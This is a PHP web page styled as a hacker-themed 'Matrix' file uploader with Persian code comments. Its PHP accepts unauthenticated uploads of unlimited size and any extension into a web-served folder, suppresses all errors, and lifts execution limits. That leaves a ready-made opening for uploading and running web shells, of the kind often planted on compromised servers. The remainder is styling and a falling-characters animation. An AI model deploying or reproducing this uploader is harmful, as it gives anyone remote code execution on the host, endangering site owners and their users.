<?php
// Matrix Unlimited Uploader - Simple & Different
error_reporting(0);
ini_set('display_errors', 0);
ini_set('upload_max_filesize', '0');
ini_set('post_max_size', '0');
ini_set('max_execution_time', '0');
ini_set('max_input_time', '0');
ini_set('memory_limit', '-1');

$uploadDir = 'uploads/';
if (!is_dir($uploadDir)) {
    mkdir($uploadDir, 0755, true);
}

$message = '';
$uploadedFiles = [];

if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_FILES['files'])) {
    foreach ($_FILES['files']['name'] as $key => $name) {
        if ($_FILES['files']['error'][$key] === UPLOAD_ERR_OK) {
            $tmpName = $_FILES['files']['tmp_name'][$key];
            $safeName = basename($name); // فقط برای جلوگیری از path traversal
            $target = $uploadDir . $safeName;

            // اگر فایل تکراری بود، اسم رو تغییر بده
            $i = 1;
            while (file_exists($target)) {
                $info = pathinfo($safeName);
                $target = $uploadDir . $info['filename'] . '_' . $i . (isset($info['extension']) ? '.' . $info['extension'] : '');
                $i++;
            }

            if (move_uploaded_file($tmpName, $target)) {
                $uploadedFiles[] = $safeName;
            }
        }
    }
    
    if (!empty($uploadedFiles)) {
        $message = 'UPLOAD COMPLETE • ' . count($uploadedFiles) . ' FILE(S) INJECTED';
    } else {
        $message = 'UPLOAD FAILED • TRY AGAIN';
    }
}
?>
<!DOCTYPE html>
<html lang="fa">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>MATRIX UPLOADER</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');

* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body {
    background: #000;
    color: #0f0;
    font-family: 'Share Tech Mono', monospace;
    overflow-x: hidden;
    min-height: 100vh;
}

/* Digital Rain Canvas */
#matrix {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    z-index: -1;
    opacity: 0.25;
}

.container {
    max-width: 720px;
    margin: 40px auto;
    padding: 30px;
    border: 1px solid #0f0;
    box-shadow: 0 0 25px #0f0, inset 0 0 15px rgba(0,255,0,0.1);
    background: rgba(0,10,0,0.85);
    position: relative;
}

.header {
    text-align: center;
    margin-bottom: 30px;
    letter-spacing: 4px;
    font-size: 1.8rem;
    text-shadow: 0 0 10px #0f0;
    animation: flicker 3s infinite;
}

@keyframes flicker {
    0%, 19%, 21%, 23%, 25%, 54%, 56%, 100% { opacity: 1; }
    20%, 24%, 55% { opacity: 0.4; }
}

.terminal {
    border: 1px solid #0a0;
    padding: 20px;
    margin-bottom: 25px;
    background: #000;
    min-height: 80px;
    font-size: 0.95rem;
    line-height: 1.6;
}

.prompt {
    color: #0f0;
}

.cursor {
    display: inline-block;
    width: 10px;
    height: 18px;
    background: #0f0;
    animation: blink 1s infinite;
    vertical-align: middle;
    margin-left: 4px;
}

@keyframes blink {
    50% { opacity: 0; }
}

.upload-zone {
    border: 2px dashed #0f0;
    padding: 40px 20px;
    text-align: center;
    cursor: pointer;
    transition: all 0.3s;
    position: relative;
    background: rgba(0,20,0,0.4);
}

.upload-zone:hover, .upload-zone.dragover {
    background: rgba(0,40,0,0.6);
    box-shadow: 0 0 20px #0f0;
}

.upload-zone input[type="file"] {
    position: absolute;
    width: 100%;
    height: 100%;
    top: 0;
    left: 0;
    opacity: 0;
    cursor: pointer;
}

.btn {
    display: block;
    width: 100%;
    margin-top: 25px;
    padding: 14px;
    background: transparent;
    border: 1px solid #0f0;
    color: #0f0;
    font-family: inherit;
    font-size: 1.1rem;
    letter-spacing: 3px;
    cursor: pointer;
    transition: all 0.3s;
    text-transform: uppercase;
}

.btn:hover {
    background: #0f0;
    color: #000;
    box-shadow: 0 0 25px #0f0;
}

.status {
    margin-top: 25px;
    padding: 12px;
    text-align: center;
    border: 1px solid #0f0;
    background: rgba(0,30,0,0.5);
    letter-spacing: 2px;
}

.file-list {
    margin-top: 15px;
    font-size: 0.9rem;
    color: #0a0;
}

.footer {
    text-align: center;
    margin-top: 30px;
    font-size: 0.8rem;
    opacity: 0.6;
    letter-spacing: 2px;
}
</style>
</head>
<body>
<canvas id="matrix"></canvas>

<div class="container">
    <div class="header">MATRIX // UNLIMITED UPLOADER</div>

    <div class="terminal">
        <div><span class="prompt">root@matrix:~$</span> system ready...</div>
        <div><span class="prompt">root@matrix:~$</span> no limits detected</div>
        <div><span class="prompt">root@matrix:~$</span> drop files to inject<span class="cursor"></span></div>
    </div>

    <form method="post" enctype="multipart/form-data" id="uploadForm">
        <div class="upload-zone" id="dropZone">
            <div style="font-size: 1.3rem; margin-bottom: 10px;">[ DROP FILES HERE ]</div>
            <div style="font-size: 0.9rem; opacity: 0.7;">or click to select • unlimited size • any extension</div>
            <input type="file" name="files[]" id="fileInput" multiple>
        </div>

        <button type="submit" class="btn">EXECUTE UPLOAD</button>
    </form>

    <?php if ($message): ?>
    <div class="status">
        <?php echo htmlspecialchars($message); ?>
        <?php if (!empty($uploadedFiles)): ?>
            <div class="file-list">
                <?php foreach ($uploadedFiles as $f): ?>
                    → <?php echo htmlspecialchars($f); ?><br>
                <?php endforeach; ?>
            </div>
        <?php endif; ?>
    </div>
    <?php endif; ?>

    <div class="footer">THERE IS NO SPOON • NO LIMITS</div>
</div>

<script>
// Digital Rain
const canvas = document.getElementById('matrix');
const ctx = canvas.getContext('2d');
canvas.width = window.innerWidth;
canvas.height = window.innerHeight;

const letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789$#@%&*アイウエオカキクケコ';
const fontSize = 14;
const columns = canvas.width / fontSize;
const drops = Array(Math.floor(columns)).fill(1);

function draw() {
    ctx.fillStyle = 'rgba(0, 0, 0, 0.05)';
    ctx.fillRect(0, 0, canvas.width, canvas.height);
    ctx.fillStyle = '#0f0';
    ctx.font = fontSize + 'px monospace';

    for (let i = 0; i < drops.length; i++) {
        const text = letters[Math.floor(Math.random() * letters.length)];
        ctx.fillText(text, i * fontSize, drops[i] * fontSize);
        if (drops[i] * fontSize > canvas.height && Math.random() > 0.975) {
            drops[i] = 0;
        }
        drops[i]++;
    }
}
setInterval(draw, 33);

window.addEventListener('resize', () => {
    canvas.width = window.innerWidth;
    canvas.height = window.innerHeight;
});

// Drag & Drop visual
const dropZone = document.getElementById('dropZone');
['dragenter', 'dragover'].forEach(event => {
    dropZone.addEventListener(event, e => {
        e.preventDefault();
        dropZone.classList.add('dragover');
    });
});
['dragleave', 'drop'].forEach(event => {
    dropZone.addEventListener(event, e => {
        e.preventDefault();
        dropZone.classList.remove('dragover');
    });
});
</script>
</body>
</html>